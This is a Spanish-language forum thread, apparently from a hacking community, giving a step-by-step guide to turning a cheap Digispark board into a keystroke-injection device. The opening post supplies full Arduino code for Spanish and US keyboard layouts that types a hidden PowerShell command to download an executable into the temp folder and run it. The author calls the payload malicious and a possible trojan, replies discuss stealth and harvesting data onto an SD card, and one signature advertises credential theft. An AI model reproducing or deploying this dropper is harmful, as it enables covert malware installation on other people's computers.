[Rubber Ducky] DigiDucky desde 0 hasta la intrusion.

Iniciado por 79137913, Febrero 01, 2017, 12:16:14 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 01, 2017, 12:16:14 PM Ultima modificación: Junio 03, 2019, 08:14:06 AM por 79137913
HOLA!!!

En este post explicare desde cero como hacer un DigiDucky (alternativa al RubberDucky mucho mas economica).



Pasos:

1 - Comprar la placa:
Para argentinos yo compre en este tipo y no tuve ningun inconveniente No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Para el resto del Mundo pueden comprarlo de la web oficial de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

2 - Armado de ambiernte de desarrollo:

a - Instalar el IDE de arduino. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
b - Instalar Drivers de Digispark y las dependencias del ide mas las librerias. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (esta en ingles, pero viendo las fotos se hace facil)

3 - El codigo:
Para este post voy a traducir el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Payload original:
Código: php
GUI r
DELAY 100
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
ENTER


Usaremos la libreria DigiKeyboard.h que lamentablemente esta hecha para teclados con distribucion US y no para teclados españoles (que supongo que es el que mas usamos nosotros), para crear scripts para teclados españoles deberan ir probando hasta encontrar el caracter que buscan, igual en mi ejemplo pueden ver que ya estan la mayoria cambiados a los que corresponden, con esos ya van a tener de sobra para hacer un monton de scripts, igual si necesitan info de como hacer alguna tecla especifica diganme en este post y les voy diciendo.

Codigo para el IDE de arduino [SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO ES(ESPAÑOL)]:
Código: cpp

#include "DigiKeyboard.h"

#define KEY_MODIFIER_LEFT_GUI 0x08

int ciclos = 0;

void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}

void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado

  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia

    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
   
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R

    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)

    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@(< Start/Process @$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@@");

    DigiKeyboard.delay(100); // Esperamos 100ms

    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
   
    DigiKeyboard.delay(100); //Esperamos 100ms
  }

//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH);
  delay(150);
  digitalWrite(1, LOW);
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}


Codigo para el IDE de arduino [SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO US(AMERICANO)]:
Código: cpp
#include "DigiKeyboard.h"

#define KEY_MODIFIER_LEFT_GUI 0x08

int ciclos = 0;

void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}

void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado

  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia

    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
   
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R

    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)

    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");

    DigiKeyboard.delay(100); // Esperamos 100ms

    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
   
    DigiKeyboard.delay(100); //Esperamos 100ms
  }

//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH);
  delay(150);
  digitalWrite(1, LOW);
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}


4 - Compilar y subir:
Colocamos subir en el IDE de arduino y ahi conectamos el Digispark para que se grabe el script.

5 - A divertirse:

Conecten el DigiDucky en cualquier pc y vean la magia!


Notas al pie:
El digispark no se lleva bien con los puertos USB de las pcs, por lo que es recomendable conectarlo a traves de un adaptador.
Yo use estos 2 y funcionaron bien:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (este no funciona para pasar el script, solo para ejecutarlo):



ACTUALIZACION: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una interesante alternativa, explicada en forma  clara, detallada y comprensible.
Solo habrá que poner manos a la obra y probarlo!

Gracias por el aporte (y su prolijidad  ;D de exposición) y +1.

Saludos

Gabriela

Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

Que tal numeritos, que tan desapercibido pasa la ejecución de los comandos y las ventanas?(me imagino que se logra ver), ya que veo que se tiene que esperar a abrir la ventana de ejecutar, los comandos de la CMD, para ejecutar el payload, ahora otra cosa, que sucede si tu lo conectas a una pc que esta bloqueada, procede la ejecución?

Me gusto, y se me hizo barato a comparacion de RubberDucky.

Estoy casi a punto de comprarlo.

Saludos!
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


HOLA!!!

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El script a partir de que abre la ventana de ejecutar hasta que se envia el comando (ahi se abre en segundo plano un powershell que no se ve) tarda 3 segundos.

Si la pc esta bloqueada no se ejecutara.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Febrero 01, 2017, 02:27:31 PM #4 Ultima modificación: Febrero 01, 2017, 02:31:43 PM por Gabriela
 
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Buenasss!!
Capas mi duda sea tonta pero sinceramente no se para que funciona, o cual seria su función..
Alguien podría explicarme mas o menos cual seria su función?
Gracias!! Saludos!
Pd: esta muy bien explicado el post, por eso me genero la duda aver si pruebo y me lo hago :D
Saludos!

"No temo a los ordenadores; lo que temo es quedarme sin ellos"
     -- Isaac Asimov

HOLA!!!

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Este dispositivo emula a un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en palabras claras, le hace creer a la pc que es un teclado y envia una serie de pulsaciones de teclas.

En este caso las pulsaciones de teclas son maliciosas, descargan un exe y lo ejecutan en la carpeta temp (esto podria ser un troyano por ejemplo).

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Interesante.. Bastante interesante.. Creo que algo asi fue visto en la serie Mr Robot.. Creo, no estoy seguro..
voy a guardar el post en mis favoritos asi intento armarlo :D
Gracias por el post.. Esta muy bien explicado..
Saludos!
Saludos!

"No temo a los ordenadores; lo que temo es quedarme sin ellos"
     -- Isaac Asimov

Gracias por la info muy interesante lo voy a probar!

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta te pasaste. Si tengo la ocasión lo probaré.

A favoritos!


Jugar o perder

Buenas!

Gracias por esta info, llevo un par de días trasteando con Digispark y la verdad que por 1 euro es una pasada.

Estoy tratando de hacer que un teclado europeo funcione sin problemas, soy un poco novato para esto.

Estaría bien ir recopilando información sobre digispark, ya que en español es muy escaso lo que hay.

He estado probando Duck2Park y parece que funciona bastante bien.

Ahora me he puesto a desarollar una aplicación para programar con digispark, quiero hacer algo similar a esto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y también le integraré directamente Duck2Park.

Saludos!
Sistema indetectable para obtener credenciales. Contacta conmigo y te hago una demo.

Interesante... yo estuve buscando mucho pendrives con Phison, pero en este pais es imposible,

Con esto puedo conectar al digiducky a la pc e instalar un .exe con payload?

Puedo agregarle una tarjeta sd a este DigiDucky?

Muy interesante, habrá que darle un vistazo en profundidad, muchas gracias por el aporte.

buen aporte, lo del teclado en español es bueno tenerlo en cuenta yo tengo mis librerias en español dado que utilizo arduino leonardo como dispositivo hid y ejecuto un downloader, pero esta tarjeta en mi pais no vale ni la mitad de arduino leonardo, creo que me la comprare gracias.

esta bueno el post, inclusive me inspiro a conseguirme la tarjeta, lamentablemente tengo problemas con el layout en US, en arduino como lo tenia simplemente cambie la libreria, pero aqui tengo problemas con el caracter que reemplaza "/" que es "&" el enlace que necesito ejecutar contiene en la url un & y eso me jode, tendre que redireccionar para cambiar el enlace, lo malo que los acortadores estan mas intelegentes ultimamente y si utilizo el de google, saldra la tipica advertencia.

algunos tips para mejorar eso?

HOLA!!!

Si tenes que hacer el caracter & tenes que teclear el caracter que se ubica en Shift 6 en el teclado Estadounidense osea ^.

Prueba y nos contas!

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Yo monte una caja para conectar joysticks viejos (de la nes, snes, megadrive,MSX,etc..) al pc y mapearlos como teclado. Lo monté con un arduino leonardo (hay versión normal y versión pequeñita) porque tiene la capacidad de conectarse como teclado. Dejo la info de la API que es parecida a la que usáis (o la misma que usa el programa que ponéis) aquí:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Realmente me parece que realmente el chip interno que tiene el cacharrico que ponéis es el mismo que lleva el leonardo.
Realmente igual lo suyo seria ponerle un lector de SD y ejecutar un script que se comunique via usbttl con la placa para guardar información útil en la SD. Después retirar la placa y a correr.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Realmente igual hay espacio para a traves de printf, montarse un script en powershell que se ejecute al inicio o cosas asi, para no tener que contactar via internet y que no se vea en los programas de monitorización. Y que tome datos relevantes del ordenador para almacenarlos en la sd. Lo unico que hay que cambiar del modo usb tarjeta a modo usb tty desde el programa.

Si lleva una SD se puede hacer que el programa se cargue de la SD al ordenador de modo que despues se ejecute y se ponga a almacenar datos del ordenador en la SD.

Saludos.

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.


HOLA!!!

Para este proyecto no es necesario soldar ningun pin.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta